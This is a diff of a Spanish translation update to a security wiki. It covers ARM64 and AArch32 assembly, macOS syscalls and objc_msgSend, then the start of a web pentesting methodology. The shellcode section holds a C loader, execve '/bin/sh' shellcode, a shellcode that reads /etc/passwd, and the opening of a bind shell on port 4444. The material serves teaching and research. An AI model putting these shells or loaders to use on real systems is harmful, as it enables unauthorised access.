- **`ldrsw`**: **Carga** un valor **signed 32-bit** desde memoria y lo **sign-extend a 64** bits.
|
||||
- Ejemplo: `ldrsw x0, [x1]` — Esto carga un valor signed de 32 bits desde la dirección en `x1`, lo sign-extiende a 64 bits y lo almacena en `x0`.
|
||||
- **`stur`**: **Almacenar un valor de registro en una ubicación de memoria**, usando un offset desde otro registro.
|
||||
- Ejemplo: `stur x0, [x1, #4]` — Esto almacena el valor en `x0` en la dirección de memoria que es 4 bytes mayor que la dirección actualmente en `x1`.
|
||||
- **`svc`** : Realizar una **llamada al sistema**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de modo de usuario a modo núcleo** y salta a una ubicación específica en memoria donde se encuentra el **código de manejo de llamadas al sistema del núcleo**.
|
||||
- **`svc`** : Hacer una **system call**. Significa "Supervisor Call". Cuando el procesador ejecuta esta instrucción, **cambia de user mode a kernel mode** y salta a una ubicación específica en memoria donde está el código de manejo de system call del **kernel**.
|
||||
|
||||
- Ejemplo:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Cargar el número de llamada al sistema para salir (93) en el registro x8.
|
||||
mov x0, 0 ; Cargar el código de estado de salida (0) en el registro x0.
|
||||
svc 0 ; Realizar la llamada al sistema.
|
||||
mov x8, 93 ; Load the system call number for exit (93) into register x8.
|
||||
mov x0, 0 ; Load the exit status code (0) into register x0.
|
||||
svc 0 ; Make the system call.
|
||||
```
|
||||
|
||||
### **Prólogo de Función**
|
||||
### **Function Prologue**
|
||||
|
||||
1. **Guardar el registro de enlace y el puntero de marco en la pila**:
|
||||
1. **Save the link register and frame pointer to the stack**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
2. **Configurar el nuevo puntero de marco**: `mov x29, sp` (configura el nuevo puntero de marco para la función actual)
|
||||
3. **Asignar espacio en la pila para variables locales** (si es necesario): `sub sp, sp, <size>` (donde `<size>` es el número de bytes necesarios)
|
||||
2. **Configurar el nuevo puntero de marco**: `mov x29, sp` (configura el nuevo puntero de marco para la función actual)
|
||||
3. **Reservar espacio en la pila para variables locales** (si es necesario): `sub sp, sp, <size>` (donde `<size>` es el número de bytes necesarios)
|
||||
|
||||
### **Epilogo de la Función**
|
||||
### **Epílogo de la función**
|
||||
|
||||
1. **Desasignar variables locales (si se asignaron)**: `add sp, sp, <size>`
|
||||
1. **Liberar espacio de variables locales (si se asignaron)**: `add sp, sp, <size>`
|
||||
2. **Restaurar el registro de enlace y el puntero de marco**:
|
||||
```armasm
|
||||
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
||||
```
|
||||
3. **Return**: `ret` (devuelve el control al llamador utilizando la dirección en el registro de enlace)
|
||||
3. **Retorno**: `ret` (devuelve el control al llamador usando la dirección en el registro de enlace)
|
||||
|
||||
## Estado de Ejecución AARCH32
|
||||
|
||||
Armv8-A soporta la ejecución de programas de 32 bits. **AArch32** puede ejecutarse en uno de **dos conjuntos de instrucciones**: **`A32`** y **`T32`** y puede alternar entre ellos a través de **`interworking`**.\
|
||||
Los programas **privilegiados** de 64 bits pueden programar la **ejecución de programas de 32 bits** al ejecutar una transferencia de nivel de excepción al nivel de 32 bits de menor privilegio.\
|
||||
Tenga en cuenta que la transición de 64 bits a 32 bits ocurre con una disminución del nivel de excepción (por ejemplo, un programa de 64 bits en EL1 que activa un programa en EL0). Esto se hace configurando el **bit 4 de** **`SPSR_ELx`** registro especial **a 1** cuando el hilo de proceso `AArch32` está listo para ser ejecutado y el resto de `SPSR_ELx` almacena el CPSR de los programas **`AArch32`**. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador transicione a **`AArch32`** ingresando en A32 o T32 dependiendo del CPSR**.**
|
||||
Armv8-A soporta la ejecución de programas de 32 bits. **AArch32** puede ejecutarse en uno de **dos conjuntos de instrucciones**: **`A32`** y **`T32`**, y puede cambiar entre ellos mediante **`interworking`**.\
|
||||
**Privilegiados** programas de 64 bits pueden programar la **ejecución de programas de 32 bits** ejecutando una transferencia de nivel de excepción al 32-bit de privilegios inferiores.\
|
||||
Tenga en cuenta que la transición de 64 bits a 32 bits ocurre con un nivel de excepción inferior (por ejemplo, un programa de 64 bits en EL1 que activa un programa en EL0). Esto se realiza estableciendo el **bit 4 de** **`SPSR_ELx`** registro especial **a 1** cuando el hilo de proceso `AArch32` está listo para ejecutarse y el resto de `SPSR_ELx` almacena el CPSR del programa **`AArch32`**. Luego, el proceso privilegiado llama a la instrucción **`ERET`** para que el procesador transicione a **`AArch32`**, entrando en A32 o T32 dependiendo de CPSR**.**
|
||||
|
||||
El **`interworking`** ocurre utilizando los bits J y T del CPSR. `J=0` y `T=0` significa **`A32`** y `J=0` y `T=1` significa **T32**. Esto se traduce básicamente en establecer el **bit más bajo a 1** para indicar que el conjunto de instrucciones es T32.\
|
||||
Esto se establece durante las **instrucciones de salto interworking**, pero también se puede establecer directamente con otras instrucciones cuando el PC se establece como el registro de destino. Ejemplo:
|
||||
The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. Esto básicamente equivale a establecer el **bit menos significativo a 1** para indicar que el conjunto de instrucciones es T32.\
|
||||
Esto se establece durante las **interworking branch instructions,** pero también puede establecerse directamente con otras instrucciones cuando el PC se establece como el registro destino. Ejemplo:
|
||||
|
||||
Otro ejemplo:
|
||||
```armasm
|
||||
@ -264,60 +267,60 @@ mov r0, #8
|
||||
```
|
||||
### Registros
|
||||
|
||||
Hay 16 registros de 32 bits (r0-r15). **Desde r0 hasta r14** se pueden usar para **cualquier operación**, sin embargo, algunos de ellos suelen estar reservados:
|
||||
There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually reserved:
|
||||
|
||||
- **`r15`**: Contador de programa (siempre). Contiene la dirección de la siguiente instrucción. En A32 actual + 8, en T32, actual + 4.
|
||||
- **`r15`**: Contador de programa (siempre). Contiene la dirección de la siguiente instrucción. In A32 current + 8, in T32, current + 4.
|
||||
- **`r11`**: Puntero de marco
|
||||
- **`r12`**: Registro de llamada intra-procedimental
|
||||
- **`r13`**: Puntero de pila
|
||||
- **`r14`**: Registro de enlace
|
||||
- **`r12`**: Registro de llamadas intra-procedimiento
|
||||
- **`r13`**: Stack Pointer (Nota: la pila siempre está alineada a 16 bytes)
|
||||
- **`r14`**: Link Register
|
||||
|
||||
Además, los registros se respaldan en **`registros bancados`**. Estos son lugares que almacenan los valores de los registros permitiendo realizar **cambios de contexto rápidos** en el manejo de excepciones y operaciones privilegiadas para evitar la necesidad de guardar y restaurar manualmente los registros cada vez.\
|
||||
Esto se hace **guardando el estado del procesador desde el `CPSR` al `SPSR`** del modo de procesador al que se toma la excepción. Al regresar de la excepción, el **`CPSR`** se restaura desde el **`SPSR`**.
|
||||
Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **conmutación rápida de contexto** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\
|
||||
This is done by **saving the processor state from the `CPSR` to the `SPSR`** of the processor mode to which the exception is taken. On the exception returns, the **`CPSR`** is restored from the **`SPSR`**.
|
||||
|
||||
### CPSR - Registro de Estado del Programa Actual
|
||||
### CPSR - Registro de estado del programa actual
|
||||
|
||||
En AArch32, el CPSR funciona de manera similar a **`PSTATE`** en AArch64 y también se almacena en **`SPSR_ELx`** cuando se toma una excepción para restaurar más tarde la ejecución:
|
||||
In AArch32 the CPSR works similar to **`PSTATE`** in AArch64 and is also stored in **`SPSR_ELx`** when a exception is taken to restore later the execution:
|
||||
|
||||
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Los campos se dividen en algunos grupos:
|
||||
The fields are divided in some groups:
|
||||
|
||||
- Registro de Estado del Programa de Aplicación (APSR): Banderas aritméticas y accesibles desde EL0
|
||||
- Registros de Estado de Ejecución: Comportamiento del proceso (gestionado por el SO).
|
||||
- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0
|
||||
- Execution State Registers: Process behaviour (managed by the OS).
|
||||
|
||||
#### Registro de Estado del Programa de Aplicación (APSR)
|
||||
#### Application Program Status Register (APSR)
|
||||
|
||||
- Las banderas **`N`**, **`Z`**, **`C`**, **`V`** (igual que en AArch64)
|
||||
- La bandera **`Q`**: Se establece en 1 siempre que **ocurra saturación entera** durante la ejecución de una instrucción aritmética de saturación especializada. Una vez que se establece en **`1`**, mantendrá el valor hasta que se establezca manualmente en 0. Además, no hay ninguna instrucción que verifique su valor implícitamente, debe hacerse leyéndolo manualmente.
|
||||
- Banderas **`GE`** (Mayor o igual): Se utilizan en operaciones SIMD (Instrucción Única, Múltiples Datos), como "suma paralela" y "resta paralela". Estas operaciones permiten procesar múltiples puntos de datos en una sola instrucción.
|
||||
- The **`N`**, **`Z`**, **`C`**, **`V`** flags (just like in AArch64)
|
||||
- The **`Q`** flag: It's set to 1 whenever **saturación de enteros** during the execution of a specialized saturating arithmetic instruction. Once it's set to **`1`**, it'll maintain the value until it's manually set to 0. Moreover, there isn't any instruction that checks its value implicitly, it must be done reading it manually.
|
||||
- **`GE`** (Mayor o igual) Flags: It's used in SIMD (Single Instruction, Multiple Data) operations, such as "parallel add" and "parallel subtract". These operations allow processing multiple data points in a single instruction.
|
||||
|
||||
Por ejemplo, la instrucción **`UADD8`** **suma cuatro pares de bytes** (de dos operandos de 32 bits) en paralelo y almacena los resultados en un registro de 32 bits. Luego **establece las banderas `GE` en el `APSR`** basándose en estos resultados. Cada bandera GE corresponde a una de las sumas de bytes, indicando si la suma para ese par de bytes **desbordó**.
|
||||
For example, the **`UADD8`** instruction **adds four pairs of bytes** (from two 32-bit operands) in parallel and stores the results in a 32-bit register. It then **sets the `GE` flags in the `APSR`** based on these results. Each GE flag corresponds to one of the byte additions, indicating if the addition for that byte pair **desbordamiento**.
|
||||
|
||||
La instrucción **`SEL`** utiliza estas banderas GE para realizar acciones condicionales.
|
||||
The **`SEL`** instruction uses these GE flags to perform conditional actions.
|
||||
|
||||
#### Registros de Estado de Ejecución
|
||||
#### Execution State Registers
|
||||
|
||||
- Los bits **`J`** y **`T`**: **`J`** debe ser 0 y si **`T`** es 0 se utiliza el conjunto de instrucciones A32, y si es 1, se utiliza el T32.
|
||||
- Registro de Estado del Bloque IT (`ITSTATE`): Estos son los bits del 10 al 15 y del 25 al 26. Almacenan condiciones para instrucciones dentro de un grupo con prefijo **`IT`**.
|
||||
- Bit **`E`**: Indica el **endianness**.
|
||||
- Bits de Modo y Máscara de Excepción (0-4): Determinan el estado de ejecución actual. El **5to** indica si el programa se ejecuta como 32 bits (un 1) o 64 bits (un 0). Los otros 4 representan el **modo de excepción actualmente en uso** (cuando ocurre una excepción y se está manejando). El número establecido **indica la prioridad actual** en caso de que se desencadene otra excepción mientras se está manejando esta.
|
||||
- The **`J`** and **`T`** bits: **`J`** should be 0 and if **`T`** is 0 the instruction set A32 is used, and if it's 1, the T32 is used.
|
||||
- **IT Block State Register** (`ITSTATE`): These are the bits from 10-15 and 25-26. They store conditions for instructions inside an **`IT`** prefixed group.
|
||||
- **`E`** bit: Indicates the **endianness**.
|
||||
- **Mode and Exception Mask Bits** (0-4): They determine the current execution state. The **5th** one indicates if the program runs as 32bit (a 1) or 64bit (a 0). The other 4 represents the **exception mode currently in used** (when a exception occurs and it's being handled). The number set **indicates the current priority** in case another exception is triggered while this is being handled.
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Ciertas excepciones pueden ser deshabilitadas usando los bits **`A`**, `I`, `F`. Si **`A`** es 1 significa que se desencadenarán **abortos asíncronos**. La **`I`** configura para responder a **Solicitudes de Interrupción** (IRQ) de hardware externo. y la F está relacionada con **Solicitudes de Interrupción Rápida** (FIR).
|
||||
- **`AIF`**: Certain exceptions can be disabled using the bits **`A`**, `I`, `F`. If **`A`** is 1 it means **asynchronous aborts** will be triggered. The **`I`** configures to respond to external hardware **Interrupts Requests** (IRQs). and the F is related to **Fast Interrupt Requests** (FIRs).
|
||||
|
||||
## macOS
|
||||
|
||||
### Llamadas al sistema BSD
|
||||
### BSD syscalls
|
||||
|
||||
Consulta [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Las llamadas al sistema BSD tendrán **x16 > 0**.
|
||||
Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**.
|
||||
|
||||
### Trampas de Mach
|
||||
### Mach Traps
|
||||
|
||||
Consulta en [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` y en [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) los prototipos. El número máximo de trampas de Mach es `MACH_TRAP_TABLE_COUNT` = 128. Las trampas de Mach tendrán **x16 < 0**, así que necesitas llamar a los números de la lista anterior con un **menos**: **`_kernelrpc_mach_vm_allocate_trap`** es **`-10`**.
|
||||
Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. The mex number of Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
|
||||
|
||||
También puedes consultar **`libsystem_kernel.dylib`** en un desensamblador para encontrar cómo llamar a estas (y BSD) llamadas al sistema:
|
||||
You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls:
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
||||
# iOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
Nota que **Ida** y **Ghidra** también pueden descompilar **dylibs específicas** de la caché simplemente pasando la caché.
|
||||
Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
|
||||
|
||||
> [!TIP]
|
||||
> A veces es más fácil revisar el código **descompilado** de **`libsystem_kernel.dylib`** **que** revisar el **código fuente** porque el código de varias syscalls (BSD y Mach) se genera a través de scripts (ver comentarios en el código fuente) mientras que en la dylib puedes encontrar lo que se está llamando.
|
||||
> A veces es más fácil revisar el código **descompilado** de **`libsystem_kernel.dylib`** **que** revisar el **código fuente**, porque el código de varias syscalls (BSD and Mach) se genera mediante scripts (revisa los comentarios en el código fuente) mientras que en el dylib puedes ver qué se está llamando.
|
||||
|
||||
### llamadas machdep
|
||||
### machdep calls
|
||||
|
||||
XNU soporta otro tipo de llamadas llamadas dependientes de la máquina. Los números de estas llamadas dependen de la arquitectura y ni las llamadas ni los números están garantizados para permanecer constantes.
|
||||
XNU soporta otro tipo de llamadas llamadas machine dependent. Los números de estas llamadas dependen de la arquitectura y ni las llamadas ni los números están garantizados a permanecer constantes.
|
||||
|
||||
### página de comunicación
|
||||
### comm page
|
||||
|
||||
Esta es una página de memoria del propietario del kernel que está mapeada en el espacio de direcciones de cada proceso de usuario. Está destinada a hacer la transición del modo usuario al espacio del kernel más rápida que usar syscalls para servicios del kernel que se utilizan tanto que esta transición sería muy ineficiente.
|
||||
Esta es una página de memoria propiedad del kernel que se mapea en el address space de cada proceso de usuario. Está pensada para hacer la transición de user mode a kernel space más rápida que usando syscalls para servicios del kernel que se usan tanto que esta transición sería muy ineficiente.
|
||||
|
||||
Por ejemplo, la llamada `gettimeofdate` lee el valor de `timeval` directamente de la página de comunicación.
|
||||
Por ejemplo la llamada `gettimeofdate` lee el valor de `timeval` directamente desde la comm page.
|
||||
|
||||
### objc_msgSend
|
||||
|
||||
Es muy común encontrar esta función utilizada en programas de Objective-C o Swift. Esta función permite llamar a un método de un objeto de Objective-C.
|
||||
Es muy común encontrar esta función usada en programas Objective-C o Swift. Esta función permite llamar un método de un objeto Objective-C.
|
||||
|
||||
Parámetros ([más información en la documentación](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
Parámetros ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
|
||||
- x0: self -> Puntero a la instancia
|
||||
- x1: op -> Selector del método
|
||||
- x2... -> Resto de los argumentos del método invocado
|
||||
|
||||
Así que, si pones un punto de interrupción antes de la rama a esta función, puedes encontrar fácilmente lo que se invoca en lldb con (en este ejemplo el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando):
|
||||
Así que, si pones un breakpoint antes de la rama a esta función, puedes encontrar fácilmente qué se invoca en lldb con (en este ejemplo el objeto llama a un objeto de `NSConcreteTask` que ejecutará un comando):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
@ -369,27 +372,27 @@ whoami
|
||||
)
|
||||
```
|
||||
> [!TIP]
|
||||
> Configurando la variable de entorno **`NSObjCMessageLoggingEnabled=1`** es posible registrar cuándo se llama a esta función en un archivo como `/tmp/msgSends-pid`.
|
||||
> Estableciendo la variable de entorno **`NSObjCMessageLoggingEnabled=1`** es posible registrar cuándo se llama a esta función en un archivo como `/tmp/msgSends-pid`.
|
||||
>
|
||||
> Además, configurando **`OBJC_HELP=1`** y llamando a cualquier binario puedes ver otras variables de entorno que podrías usar para **log** cuando ocurren ciertas acciones de Objc-C.
|
||||
> Además, estableciendo **`OBJC_HELP=1`** y ejecutando cualquier binario puedes ver otras variables de entorno que podrías usar para **log** cuando ocurren ciertas acciones Objc-C.
|
||||
|
||||
Cuando se llama a esta función, es necesario encontrar el método llamado de la instancia indicada, para esto se realizan diferentes búsquedas:
|
||||
Cuando se llama a esta función, es necesario encontrar el método invocado de la instancia indicada; para ello se realizan las siguientes búsquedas:
|
||||
|
||||
- Realizar búsqueda optimista en caché:
|
||||
- Si tiene éxito, hecho
|
||||
- Realizar búsqueda optimista en cache:
|
||||
- Si tiene éxito, listo
|
||||
- Adquirir runtimeLock (lectura)
|
||||
- Si (realizar && !cls->realized) realizar clase
|
||||
- Si (inicializar && !cls->initialized) inicializar clase
|
||||
- Intentar caché propia de la clase:
|
||||
- Si tiene éxito, hecho
|
||||
- Intentar lista de métodos de la clase:
|
||||
- Si se encuentra, llenar caché y hecho
|
||||
- Intentar caché de la superclase:
|
||||
- Si tiene éxito, hecho
|
||||
- Intentar lista de métodos de la superclase:
|
||||
- Si se encuentra, llenar caché y hecho
|
||||
- Si (resolver) intentar resolver método, y repetir desde la búsqueda de clase
|
||||
- Si aún está aquí (= todo lo demás ha fallado) intentar forwarder
|
||||
- If (realize && !cls->realized) realize class
|
||||
- If (initialize && !cls->initialized) initialize class
|
||||
- Probar cache propia de la clase:
|
||||
- Si tiene éxito, listo
|
||||
- Intentar la lista de métodos de la clase:
|
||||
- Si se encuentra, llenar cache y listo
|
||||
- Probar cache de la superclass:
|
||||
- Si tiene éxito, listo
|
||||
- Intentar la lista de métodos de la superclass:
|
||||
- Si se encuentra, llenar cache y listo
|
||||
- If (resolver) try method resolver, and repeat from class lookup
|
||||
- If still here (= all else has failed) try forwarder
|
||||
|
||||
### Shellcodes
|
||||
|
||||
@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
Para macOS más recientes:
|
||||
Para versiones más recientes de macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
@ -417,7 +420,7 @@ done
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>C código para probar el shellcode</summary>
|
||||
<summary>Código C para probar el shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
@ -467,10 +470,10 @@ return 0;
|
||||
|
||||
#### Shell
|
||||
|
||||
Tomado de [**aquí**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) y explicado.
|
||||
Tomado de [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) y explicado.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="con adr"}}
|
||||
{{#tab name="with adr"}}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="con pila"}}
|
||||
{{#tab name="with stack"}}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="con adr para linux"}}
|
||||
{{#tab name="with adr for linux"}}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh"
|
||||
|
||||
#### Leer con cat
|
||||
|
||||
El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es un array de parámetros (que en memoria significa una pila de las direcciones).
|
||||
El objetivo es ejecutar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, por lo que el segundo argumento (x1) es un array de params (que en memoria significa un stack con las direcciones).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### Bind shell
|
||||
|
||||
Bind shell de [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) en **puerto 4444**
|
||||
Bind shell desde [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) en **port 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
El servicio web es el servicio más **común y extenso** y existen muchos **tipos diferentes de vulnerabilidades**.
|
||||
El servicio web es el servicio más **común y amplio** y existen muchos **tipos diferentes de vulnerabilidades**.
|
||||
|
||||
**Puerto por defecto:** 80 (HTTP), 443 (HTTPS)
|
||||
```bash
|
||||
@ -17,7 +17,7 @@ PORT STATE SERVICE
|
||||
nc -v domain.com 80 # GET / HTTP/1.0
|
||||
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
```
|
||||
### Guía de Web API
|
||||
### Guía de API Web
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -26,36 +26,36 @@ web-api-pentesting.md
|
||||
|
||||
## Resumen de la metodología
|
||||
|
||||
> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo ese. Por lo tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierto con servidor web indeterminado dentro del scope.
|
||||
> En esta metodología vamos a suponer que vas a atacar un dominio (o subdominio) y solo ese. Por tanto, debes aplicar esta metodología a cada dominio, subdominio o IP descubierto con servidor web no determinado dentro del alcance.
|
||||
|
||||
- [ ] Empieza por **identificar** las **technologies** usadas por el servidor web. Busca **tricks** para tener en cuenta durante el resto del test si puedes identificar la tech.
|
||||
- [ ] ¿Alguna **vulnerabilidad conocida** en la versión de la tecnología?
|
||||
- [ ] ¿Usando alguna **well known tech**? ¿Algún **truco útil** para extraer más información?
|
||||
- [ ] ¿Algún **specialised scanner** para ejecutar (like wpscan)?
|
||||
- [ ] Lanza **general purposes scanners**. Nunca sabes si van a encontrar algo o alguna información interesante.
|
||||
- [ ] Empieza con las **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS).
|
||||
- [ ] Comienza con el **spidering** de la página web: Es hora de **encontrar** todos los posibles **archivos, carpetas** y **parámetros en uso.** Además, revisa **hallazgos especiales**.
|
||||
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
|
||||
- [ ] **Directory Brute-Forcing**: Intenta brute force todas las carpetas descubiertas buscando nuevos **archivos** y **directorios**.
|
||||
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
|
||||
- [ ] **Backups checking**: Comprueba si puedes encontrar **backups** de **archivos descubiertos** añadiendo extensiones comunes de backup.
|
||||
- [ ] Comienza por **identificar** las **tecnologías** que usa el servidor web. Busca **trucos** que puedas tener en cuenta durante el resto de la prueba si consigues identificar la tecnología.
|
||||
- [ ] ¿Alguna **vulnerabilidad conocida** de la versión de la tecnología?
|
||||
- [ ] ¿Se está usando alguna **tecnología conocida**? ¿Algún **truco útil** para extraer más información?
|
||||
- [ ] ¿Algún **scanner especializado** que ejecutar (como wpscan)?
|
||||
- [ ] Lanza **scanners de propósito general**. Nunca sabes si van a encontrar algo o si van a devolver información interesante.
|
||||
- [ ] Empieza con las **comprobaciones iniciales**: **robots**, **sitemap**, error **404** y **SSL/TLS scan** (si HTTPS).
|
||||
- [ ] Comienza a **spidering** la página web: es hora de **encontrar** todos los posibles **ficheros, carpetas** y **parámetros usados**. Además, busca **hallazgos especiales**.
|
||||
- [ ] _Ten en cuenta que cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser spidered._
|
||||
- [ ] **Directory Brute-Forcing**: Intenta brute forcear todas las carpetas descubiertas buscando nuevos **ficheros** y **directorios**.
|
||||
- [ ] _Ten en cuenta que cada vez que se descubra un nuevo directorio durante brute-forcing o spidering, debe ser Brute-Forced._
|
||||
- [ ] **Backups checking**: Comprueba si puedes encontrar **backups** de los **ficheros descubiertos** añadiendo extensiones de backup comunes.
|
||||
- [ ] **Brute-Force parameters**: Intenta **encontrar parámetros ocultos**.
|
||||
- [ ] Una vez que hayas **identified** todos los posibles **endpoints** que aceptan **user input**, revisa todo tipo de **vulnerabilidades** relacionadas.
|
||||
- [ ] Una vez hayas **identificado** todos los posibles **endpoints** que aceptan **user input**, comprueba todo tipo de **vulnerabilidades** relacionadas.
|
||||
- [ ] [Sigue esta checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Server Version (Vulnerable?)
|
||||
## Versión del servidor (¿Vulnerable?)
|
||||
|
||||
### Identificar
|
||||
|
||||
Comprueba si existen **vulnerabilidades conocidas** para la **version** del servidor que se está ejecutando.\
|
||||
Las **HTTP headers and cookies of the response** pueden ser muy útiles para **identify** las **technologies** y/o la **version** en uso. **Nmap scan** puede identificar la version del servidor, pero también pueden ser útiles las herramientas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
Comprueba si existen **vulnerabilidades conocidas** para la **versión** del servidor que está ejecutándose.\
|
||||
Los **HTTP headers y cookies de la respuesta** pueden ser muy útiles para **identificar** las **tecnologías** y/o la **versión** que se está usando. Un **Nmap scan** puede identificar la versión del servidor, pero también pueden resultar útiles herramientas como [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Buscar [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
Buscar **por** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Comprobar si hay algún WAF**
|
||||
|
||||
@ -63,9 +63,9 @@ Buscar [**vulnerabilities of the web application** **version**](../../generic-ha
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### Trucos de tecnología web
|
||||
### Trucos de tecnologías Web
|
||||
|
||||
Algunos **trucos** para **encontrar vulnerabilidades** en distintas **tecnologías** bien conocidas que se estén usando:
|
||||
